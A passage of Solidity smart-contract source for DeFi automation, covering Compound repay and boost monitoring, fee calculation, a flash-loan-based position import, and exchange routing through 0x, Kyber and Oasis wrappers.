address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
address _user
) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) {
(bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user);
require(isAllowed); // check if conditions are met
uint256 gasCost = calcGasCost(REPAY_GAS_COST);
compoundMonitorProxy.callExecute{value: msg.value}(
_user,
compoundFlashLoanTakerAddress,
abi.encodeWithSignature(
"repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)",
_exData,
_cAddresses,
gasCost
)
);
(bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user);
require(isGoodRatio); // check if the after result of the actions is good
returnEth();
logger.Log(address(this), _user, "AutomaticCompoundRepay", abi.encode(ratioBefore, ratioAfter));
}
/// @notice Bots call this method to boost for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
/// @param _exData Exchange data
/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress]
/// @param _user The actual address that owns the Compound position
function boostFor(
SaverExchangeCore.ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
address _user
) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) {
(bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user);
require(isAllowed); // check if conditions are met
uint256 gasCost = calcGasCost(BOOST_GAS_COST);
compoundMonitorProxy.callExecute{value: msg.value}(
_user,
compoundFlashLoanTakerAddress,
abi.encodeWithSignature(
"boostWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)",
_exData,
_cAddresses,
gasCost
)
);
(bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user);
require(isGoodRatio); // check if the after result of the actions is good
returnEth();
logger.Log(address(this), _user, "AutomaticCompoundBoost", abi.encode(ratioBefore, ratioAfter));
}
/******************* INTERNAL METHODS ********************************/
function returnEth() internal {
// return if some eth left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/******************* STATIC METHODS ********************************/
/// @notice Checks if Boost/Repay could be triggered for the CDP
/// @dev Called by MCDMonitor to enforce the min/max check
/// @param _method Type of action to be called
/// @param _user The actual address that owns the Compound position
/// @return Boolean if it can be called and the ratio
function canCall(Method _method, address _user) public view returns(bool, uint) {
bool subscribed = subscriptionsContract.isSubscribed(_user);
CompoundSubscriptions.CompoundHolder memory holder = subscriptionsContract.getHolder(_user);
// check if cdp is subscribed
if (!subscribed) return (false, 0);
// check if boost and boost allowed
if (_method == Method.Boost && !holder.boostEnabled) return (false, 0);
uint currRatio = getSafetyRatio(_user);
if (_method == Method.Repay) {
return (currRatio < holder.minRatio, currRatio);
} else if (_method == Method.Boost) {
return (currRatio > holder.maxRatio, currRatio);
}
}
/// @dev After the Boost/Repay check if the ratio doesn't trigger another call
/// @param _method Type of action to be called
/// @param _user The actual address that owns the Compound position
/// @return Boolean if the recent action preformed correctly and the ratio
function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) {
CompoundSubscriptions.CompoundHolder memory holder;
holder= subscriptionsContract.getHolder(_user);
uint currRatio = getSafetyRatio(_user);
if (_method == Method.Repay) {
return (currRatio < holder.maxRatio, currRatio);
} else if (_method == Method.Boost) {
return (currRatio > holder.minRatio, currRatio);
}
}
/// @notice Calculates gas cost (in Eth) of tx
/// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP
/// @param _gasAmount Amount of gas used for the tx
function calcGasCost(uint _gasAmount) public view returns (uint) {
uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE;
return mul(gasPrice, _gasAmount);
}
/******************* OWNER ONLY OPERATIONS ********************************/
/// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions
/// @param _gasCost New gas cost for boost method
function changeBoostGasCost(uint _gasCost) public onlyOwner {
require(_gasCost < 3000000);
BOOST_GAS_COST = _gasCost;
}
/// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions
/// @param _gasCost New gas cost for repay method
function changeRepayGasCost(uint _gasCost) public onlyOwner {
require(_gasCost < 3000000);
REPAY_GAS_COST = _gasCost;
}
/// @notice If any tokens gets stuck in the contract owner can withdraw it
/// @param _tokenAddress Address of the ERC20 token
/// @param _to Address of the receiver
/// @param _amount The amount to be sent
function transferERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner {
ERC20(_tokenAddress).safeTransfer(_to, _amount);
}
/// @notice If any Eth gets stuck in the contract owner can withdraw it
/// @param _to Address of the receiver
/// @param _amount The amount to be sent
function transferEth(address payable _to, uint _amount) public onlyOwner {
_to.transfer(_amount);
}
}
contract CompoundSaverHelper is DSMath, Exponential {
using SafeERC20 for ERC20;
address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F;
uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee
uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
address public constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address public constant COMPOUND_LOGGER = 0x3DD0CDf5fFA28C6847B4B276e2fD256046a44bb7;
address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B;
/// @notice Helper method to payback the Compound debt
/// @dev If amount is bigger it will repay the whole debt and send the extra to the _user
/// @param _amount Amount of tokens we want to repay
/// @param _cBorrowToken Ctoken address we are repaying
/// @param _borrowToken Token address we are repaying
/// @param _user Owner of the compound position we are paying back
function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal {
uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this));
if (_amount > wholeDebt) {
if (_borrowToken == ETH_ADDRESS) {
_user.transfer((_amount - wholeDebt));
} else {
ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt));
}
_amount = wholeDebt;
}
approveCToken(_borrowToken, _cBorrowToken);
if (_borrowToken == ETH_ADDRESS) {
CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}();
} else {
require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0);
}
}
/// @notice Calculates the fee amount
/// @param _amount Amount that is converted
/// @param _user Actuall user addr not DSProxy
/// @param _gasCost Ether amount of gas we are spending for tx
/// @param _cTokenAddr CToken addr. of token we are getting for the fee
/// @return feeAmount The amount we took for the fee
function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) {
uint fee = MANUAL_SERVICE_FEE;
if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) {
fee = AUTOMATIC_SERVICE_FEE;
}
address tokenAddr = getUnderlyingAddr(_cTokenAddr);
if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) {
fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
if (_gasCost != 0) {
address oracle = ComptrollerInterface(COMPTROLLER).oracle();
uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr);
uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS);
uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice);
_gasCost = wdiv(_gasCost, tokenPriceInEth);
feeAmount = add(feeAmount, _gasCost);
}
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
if (tokenAddr == ETH_ADDRESS) {
WALLET_ADDR.transfer(feeAmount);
} else {
ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount);
}
}
/// @notice Calculates the gas cost of transaction and send it to wallet
/// @param _amount Amount that is converted
/// @param _gasCost Ether amount of gas we are spending for tx
/// @param _cTokenAddr CToken addr. of token we are getting for the fee
/// @return feeAmount The amount we took for the fee
function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) {
address tokenAddr = getUnderlyingAddr(_cTokenAddr);
if (_gasCost != 0) {
address oracle = ComptrollerInterface(COMPTROLLER).oracle();
uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr);
uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS);
uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice);
feeAmount = wdiv(_gasCost, tokenPriceInEth);
}
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
if (tokenAddr == ETH_ADDRESS) {
WALLET_ADDR.transfer(feeAmount);
} else {
ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount);
}
}
/// @notice Enters the market for the collatera and borrow tokens
/// @param _cTokenAddrColl Collateral address we are entering the market in
/// @param _cTokenAddrBorrow Borrow address we are entering the market in
function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal {
address[] memory markets = new address[](2);
markets[0] = _cTokenAddrColl;
markets[1] = _cTokenAddrBorrow;
ComptrollerInterface(COMPTROLLER).enterMarkets(markets);
}
/// @notice Approves CToken contract to pull underlying tokens from the DSProxy
/// @param _tokenAddr Token we are trying to approve
/// @param _cTokenAddr Address which will gain the approval
function approveCToken(address _tokenAddr, address _cTokenAddr) internal {
if (_tokenAddr != ETH_ADDRESS) {
ERC20(_tokenAddr).safeApprove(_cTokenAddr, 0);
ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1));
}
}
/// @notice Returns the underlying address of the cToken asset
/// @param _cTokenAddress cToken address
/// @return Token address of the cToken specified
function getUnderlyingAddr(address _cTokenAddress) internal returns (address) {
if (_cTokenAddress == CETH_ADDRESS) {
return ETH_ADDRESS;
} else {
return CTokenInterface(_cTokenAddress).underlying();
}
}
/// @notice Returns the owner of the DSProxy that called the contract
function getUserAddress() internal view returns (address) {
DSProxy proxy = DSProxy(uint160(address(this)));
return proxy.owner();
}
/// @notice Returns the maximum amount of collateral available to withdraw
/// @dev Due to rounding errors the result is - 1% wei from the exact amount
/// @param _cCollAddress Collateral we are getting the max value of
/// @param _account Users account
/// @return Returns the max. collateral amount in that token
function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) {
(, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account);
uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account);
address oracle = ComptrollerInterface(COMPTROLLER).oracle();
if (liquidityInUsd == 0) return usersBalance;
CTokenInterface(_cCollAddress).accrueInterest();
(, uint collFactorMantissa) = ComptrollerInterface(COMPTROLLER).markets(_cCollAddress);
Exp memory collateralFactor = Exp({mantissa: collFactorMantissa});
(, uint tokensToUsd) = divScalarByExpTruncate(liquidityInUsd, collateralFactor);
uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress);
uint liqInToken = wdiv(tokensToUsd, usdPrice);
if (liqInToken > usersBalance) return usersBalance;
return sub(liqInToken, (liqInToken / 100)); // cut off 1% due to rounding issues
}
/// @notice Returns the maximum amount of borrow amount available
/// @dev Due to rounding errors the result is - 1% wei from the exact amount
/// @param _cBorrowAddress Borrow token we are getting the max value of
/// @param _account Users account
/// @return Returns the max. borrow amount in that token
function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) {
(, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account);
address oracle = ComptrollerInterface(COMPTROLLER).oracle();
CTokenInterface(_cBorrowAddress).accrueInterest();
uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress);
uint liquidityInToken = wdiv(liquidityInUsd, usdPrice);
return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues
}
}
contract CompoundImportFlashLoan is FlashLoanReceiverBase {
using SafeERC20 for ERC20;
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address public constant COMPOUND_BORROW_PROXY = 0xb7EDC39bE76107e2Cc645f0f6a3D164f5e173Ee2;
address public owner;
constructor()
FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER)
public {
owner = msg.sender;
}
/// @notice Called by Aave when sending back the FL amount
/// @param _reserve The address of the borrowed token
/// @param _amount Amount of FL tokens received
/// @param _fee FL Aave fee
/// @param _params The params that are sent from the original FL caller contract
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
(
address cCollateralToken,
address cBorrowToken,
address user,
address proxy
)
= abi.decode(_params, (address,address,address,address));
// approve FL tokens so we can repay them
ERC20(_reserve).safeApprove(cBorrowToken, 0);
ERC20(_reserve).safeApprove(cBorrowToken, uint(-1));
// repay compound debt
require(CTokenInterface(cBorrowToken).repayBorrowBehalf(user, uint(-1)) == 0, "Repay borrow behalf fail");
// transfer cTokens to proxy
uint cTokenBalance = CTokenInterface(cCollateralToken).balanceOf(user);
require(CTokenInterface(cCollateralToken).transferFrom(user, proxy, cTokenBalance));
// borrow
bytes memory proxyData = getProxyData(cCollateralToken, cBorrowToken, _reserve, (_amount + _fee));
DSProxyInterface(proxy).execute(COMPOUND_BORROW_PROXY, proxyData);
// Repay the loan with the money DSProxy sent back
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
}
/// @notice Formats function data call so we can call it through DSProxy
/// @param _cCollToken CToken address of collateral
/// @param _cBorrowToken CToken address we will borrow
/// @param _borrowToken Token address we will borrow
/// @param _amount Amount that will be borrowed
/// @return proxyData Formated function call data
function getProxyData(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) internal pure returns (bytes memory proxyData) {
proxyData = abi.encodeWithSignature(
"borrow(address,address,address,uint256)",
_cCollToken, _cBorrowToken, _borrowToken, _amount);
}
function withdrawStuckFunds(address _tokenAddr, uint _amount) public {
require(owner == msg.sender, "Must be owner");
if (_tokenAddr == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
msg.sender.transfer(_amount);
} else {
ERC20(_tokenAddr).safeTransfer(owner, _amount);
}
}
}
contract CompoundImportTaker is CompoundSaverHelper, ProxyPermission, GasBurner {
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
address payable public constant COMPOUND_IMPORT_FLASH_LOAN = 0x0a9238e14d5A20CDb03811B12D1984587C3CE9a0;
address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
/// @notice Starts the process to move users position 1 collateral and 1 borrow
/// @dev User must approve COMPOUND_IMPORT_FLASH_LOAN to pull _cCollateralToken
/// @param _cCollateralToken Collateral we are moving to DSProxy
/// @param _cBorrowToken Borrow token we are moving to DSProxy
function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) {
address proxy = getProxy();
uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender);
bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, msg.sender, proxy);
givePermission(COMPOUND_IMPORT_FLASH_LOAN);
lendingPool.flashLoan(COMPOUND_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData);
removePermission(COMPOUND_IMPORT_FLASH_LOAN);
logger.Log(address(this), msg.sender, "CompoundImport", abi.encode(loanAmount, 0, _cCollateralToken));
}
/// @notice Gets proxy address, if user doesn't has DSProxy build it
/// @return proxy DsProxy address
function getProxy() internal returns (address proxy) {
proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).proxies(msg.sender);
if (proxy == address(0)) {
proxy = ProxyRegistryInterface(PROXY_REGISTRY_ADDRESS).build(msg.sender);
}
}
}
contract SaverExchangeCore is SaverExchangeHelper, DSMath {
// first is empty to keep the legacy order in place
enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX }
enum ActionType { SELL, BUY }
struct ExchangeData {
address srcAddr;
address destAddr;
uint srcAmount;
uint destAmount;
uint minPrice;
address wrapper;
address exchangeAddr;
bytes callData;
uint256 price0x;
}
/// @notice Internal method that preforms a sell on 0x/on-chain
/// @dev Usefull for other DFS contract to integrate for exchanging
/// @param exData Exchange data struct
/// @return (address, uint) Address of the wrapper used and destAmount
function _sell(ExchangeData memory exData) internal returns (address, uint) {
address wrapper;
uint swapedTokens;
bool success;
uint tokensLeft = exData.srcAmount;
// if selling eth, convert to weth
if (exData.srcAddr == KYBER_ETH_ADDRESS) {
exData.srcAddr = ethToWethAddr(exData.srcAddr);
TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)();
}
// Try 0x first and then fallback on specific wrapper
if (exData.price0x > 0) {
approve0xProxy(exData.srcAddr, exData.srcAmount);
uint ethAmount = getProtocolFee(exData.srcAddr, msg.value, exData.srcAmount);
(success, swapedTokens, tokensLeft) = takeOrder(exData, ethAmount, ActionType.SELL);
if (success) {
wrapper = exData.exchangeAddr;
}
}
// fallback to desired wrapper if 0x failed
if (!success) {
swapedTokens = saverSwap(exData, ActionType.SELL);
wrapper = exData.wrapper;
}
require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), "Final amount isn't correct");
// if anything is left in weth, pull it to user as eth
if (getBalance(WETH_ADDRESS) > 0) {
TokenInterface(WETH_ADDRESS).withdraw(
TokenInterface(WETH_ADDRESS).balanceOf(address(this))
);
}
return (wrapper, swapedTokens);
}
/// @notice Internal method that preforms a buy on 0x/on-chain
/// @dev Usefull for other DFS contract to integrate for exchanging
/// @param exData Exchange data struct
/// @return (address, uint) Address of the wrapper used and srcAmount
function _buy(ExchangeData memory exData) internal returns (address, uint) {
address wrapper;
uint swapedTokens;
bool success;
require(exData.destAmount != 0, "Dest amount must be specified");
// if selling eth, convert to weth
if (exData.srcAddr == KYBER_ETH_ADDRESS) {
exData.srcAddr = ethToWethAddr(exData.srcAddr);
TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)();
}
if (exData.price0x > 0) {
approve0xProxy(exData.srcAddr, exData.srcAmount);
uint ethAmount = getProtocolFee(exData.srcAddr, msg.value, exData.srcAmount);
(success, swapedTokens,) = takeOrder(exData, ethAmount, ActionType.BUY);
if (success) {
wrapper = exData.exchangeAddr;
}
}
// fallback to desired wrapper if 0x failed
if (!success) {
swapedTokens = saverSwap(exData, ActionType.BUY);
wrapper = exData.wrapper;
}
require(swapedTokens >= exData.destAmount, "Final amount isn't correct");
// if anything is left in weth, pull it to user as eth
if (getBalance(WETH_ADDRESS) > 0) {
TokenInterface(WETH_ADDRESS).withdraw(
TokenInterface(WETH_ADDRESS).balanceOf(address(this))
);
}
return (wrapper, getBalance(exData.destAddr));
}
/// @notice Takes order from 0x and returns bool indicating if it is successful
/// @param _exData Exchange data
/// @param _ethAmount Ether fee needed for 0x order
function takeOrder(
ExchangeData memory _exData,
uint256 _ethAmount,
ActionType _type
) private returns (bool success, uint256, uint256) {
// write in the exact amount we are selling/buing in an order
if (_type == ActionType.SELL) {
writeUint256(_exData.callData, 36, _exData.srcAmount);
} else {
writeUint256(_exData.callData, 36, _exData.destAmount);
}
if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isNonPayableAddr(_exData.exchangeAddr)) {
_ethAmount = 0;
}
uint256 tokensBefore = getBalance(_exData.destAddr);
if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) {
(success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData);
} else {
success = false;
}
uint256 tokensSwaped = 0;
uint256 tokensLeft = _exData.srcAmount;
if (success) {
// check to see if any _src tokens are left over after exchange
tokensLeft = getBalance(_exData.srcAddr);
// convert weth -> eth if needed
if (_exData.destAddr == KYBER_ETH_ADDRESS) {
TokenInterface(WETH_ADDRESS).withdraw(
TokenInterface(WETH_ADDRESS).balanceOf(address(this))
);
}
// get the current balance of the swaped tokens
tokensSwaped = getBalance(_exData.destAddr) - tokensBefore;
}
return (success, tokensSwaped, tokensLeft);
}
/// @notice Calls wraper contract for exchage to preform an on-chain swap
/// @param _exData Exchange data struct
/// @param _type Type of action SELL|BUY
/// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount
function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) {
require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), "Wrapper is not valid");
uint ethValue = 0;
ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount);
if (_type == ActionType.SELL) {
swapedTokens = ExchangeInterfaceV2(_exData.wrapper).
sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount);
} else {
swapedTokens = ExchangeInterfaceV2(_exData.wrapper).
buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount);
}
}
function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure {
if (_b.length < _index + 32) {
revert("Incorrent lengt while writting bytes32");
}
bytes32 input = bytes32(_input);
_index += 32;
// Read the bytes32 from array memory
assembly {
mstore(add(_b, _index), input)
}
}
/// @notice Converts Kybers Eth address -> Weth
/// @param _src Input address
function ethToWethAddr(address _src) internal pure returns (address) {
return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src;
}
/// @notice Calculates protocol fee
/// @param _srcAddr selling token address (if eth should be WETH)
/// @param _msgValue msg.value in transaction
/// @param _srcAmount amount we are selling
function getProtocolFee(address _srcAddr, uint256 _msgValue, uint256 _srcAmount) internal returns(uint256) {
// if we are not selling ETH msg value is always the protocol fee
if (_srcAddr != WETH_ADDRESS) return _msgValue;
// if msg value is larger than srcAmount, that means that msg value is protocol fee + srcAmount, so we subsctract srcAmount from msg value
// we have an edge case here when protocol fee is higher than selling amount
if (_msgValue > _srcAmount) return _msgValue - _srcAmount;
// if msg value is lower than src amount, that means that srcAmount isn't included in msg value, so we return msg value
return _msgValue;
}
function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) {
// splitting in two different bytes and encoding all because of stack too deep in decoding part
bytes memory part1 = abi.encode(
_exData.srcAddr,
_exData.destAddr,
_exData.srcAmount,
_exData.destAmount
);
bytes memory part2 = abi.encode(
_exData.minPrice,
_exData.wrapper,
_exData.exchangeAddr,
_exData.callData,
_exData.price0x
);
return abi.encode(part1, part2);
}
function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) {
(
bytes memory part1,
bytes memory part2
) = abi.decode(_data, (bytes,bytes));
(
_exData.srcAddr,
_exData.destAddr,
_exData.srcAmount,
_exData.destAmount
) = abi.decode(part1, (address,address,uint256,uint256));
(
_exData.minPrice,
_exData.wrapper,
_exData.exchangeAddr,
_exData.callData,
_exData.price0x
)
= abi.decode(part2, (uint256,address,address,bytes,uint256));
}
// solhint-disable-next-line no-empty-blocks
receive() external virtual payable {}
}
contract KyberWrapper is DSMath, ExchangeInterfaceV2, AdminAuth {
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant KYBER_INTERFACE = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e;
address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
using SafeERC20 for ERC20;
/// @notice Sells a _srcAmount of tokens at Kyber
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Destination amount
function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) {
ERC20 srcToken = ERC20(_srcAddr);
ERC20 destToken = ERC20(_destAddr);
KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE);
if (_srcAddr != KYBER_ETH_ADDRESS) {
srcToken.safeApprove(address(kyberNetworkProxy), _srcAmount);
}
uint destAmount = kyberNetworkProxy.trade{value: msg.value}(
srcToken,
_srcAmount,
destToken,
msg.sender,
uint(-1),
0,
WALLET_ID
);
return destAmount;
}
/// @notice Buys a _destAmount of tokens at Kyber
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint srcAmount
function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) {
ERC20 srcToken = ERC20(_srcAddr);
ERC20 destToken = ERC20(_destAddr);
uint srcAmount = 0;
if (_srcAddr != KYBER_ETH_ADDRESS) {
srcAmount = srcToken.balanceOf(address(this));
} else {
srcAmount = msg.value;
}
KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE);
if (_srcAddr != KYBER_ETH_ADDRESS) {
srcToken.safeApprove(address(kyberNetworkProxy), srcAmount);
}
uint destAmount = kyberNetworkProxy.trade{value: msg.value}(
srcToken,
srcAmount,
destToken,
msg.sender,
_destAmount,
0,
WALLET_ID
);
require(destAmount == _destAmount, "Wrong dest amount");
uint srcAmountAfter = 0;
if (_srcAddr != KYBER_ETH_ADDRESS) {
srcAmountAfter = srcToken.balanceOf(address(this));
} else {
srcAmountAfter = address(this).balance;
}
// Send the leftover from the source token back
sendLeftOver(_srcAddr);
return (srcAmount - srcAmountAfter);
}
/// @notice Return a rate for which we can sell an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return rate Rate
function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint rate) {
(rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE)
.getExpectedRate(ERC20(_srcAddr), ERC20(_destAddr), _srcAmount);
// multiply with decimal difference in src token
rate = rate * (10**(18 - getDecimals(_srcAddr)));
// divide with decimal difference in dest token
rate = rate / (10**(18 - getDecimals(_destAddr)));
}
/// @notice Return a rate for which we can buy an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return rate Rate
function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint rate) {
uint256 srcRate = getSellRate(_destAddr, _srcAddr, _destAmount);
uint256 srcAmount = wmul(srcRate, _destAmount);
rate = getSellRate(_srcAddr, _destAddr, srcAmount);
// increase rate by 3% too account for inaccuracy between sell/buy conversion
rate = rate + (rate / 30);
}
/// @notice Send any leftover tokens, we use to clear out srcTokens after buy
/// @param _srcAddr Source token address
function sendLeftOver(address _srcAddr) internal {
msg.sender.transfer(address(this).balance);
if (_srcAddr != KYBER_ETH_ADDRESS) {
ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this)));
}
}
receive() payable external {}
function getDecimals(address _token) internal view returns (uint256) {
if (_token == KYBER_ETH_ADDRESS) return 18;
return ERC20(_token).decimals();
}
}
contract OasisTradeWrapper is DSMath, ExchangeInterfaceV2, AdminAuth {
using SafeERC20 for ERC20;
address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D;
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @notice Sells a _srcAmount of tokens at Oasis
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Destination amount
function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) {
address srcAddr = ethToWethAddr(_srcAddr);
address destAddr = ethToWethAddr(_destAddr);
ERC20(srcAddr).safeApprove(OTC_ADDRESS, _srcAmount);
uint destAmount = OasisInterface(OTC_ADDRESS).sellAllAmount(srcAddr, _srcAmount, destAddr, 0);
// convert weth -> eth and send back
if (destAddr == WETH_ADDRESS) {
TokenInterface(WETH_ADDRESS).withdraw(destAmount);
msg.sender.transfer(destAmount);
} else {
ERC20(destAddr).safeTransfer(msg.sender, destAmount);
}
return destAmount;
}
/// @notice Buys a _destAmount of tokens at Oasis
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint srcAmount
function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) {
address srcAddr = ethToWethAddr(_srcAddr);
address destAddr = ethToWethAddr(_destAddr);
ERC20(srcAddr).safeApprove(OTC_ADDRESS, uint(-1));
uint srcAmount = OasisInterface(OTC_ADDRESS).buyAllAmount(destAddr, _destAmount, srcAddr, uint(-1));
// convert weth -> eth and send back
if (destAddr == WETH_ADDRESS) {
TokenInterface(WETH_ADDRESS).withdraw(_destAmount);
msg.sender.transfer(_destAmount);
} else {
ERC20(destAddr).safeTransfer(msg.sender, _destAmount);
}
// Send the leftover from the source token back
sendLeftOver(srcAddr);
return srcAmount;
}
/// @notice Return a rate for which we can sell an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _srcAmount From amount
/// @return uint Rate
function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) {
address srcAddr = ethToWethAddr(_srcAddr);
address destAddr = ethToWethAddr(_destAddr);
return wdiv(OasisInterface(OTC_ADDRESS).getBuyAmount(destAddr, srcAddr, _srcAmount), _srcAmount);
}
/// @notice Return a rate for which we can buy an amount of tokens
/// @param _srcAddr From token
/// @param _destAddr To token
/// @param _destAmount To amount
/// @return uint Rate
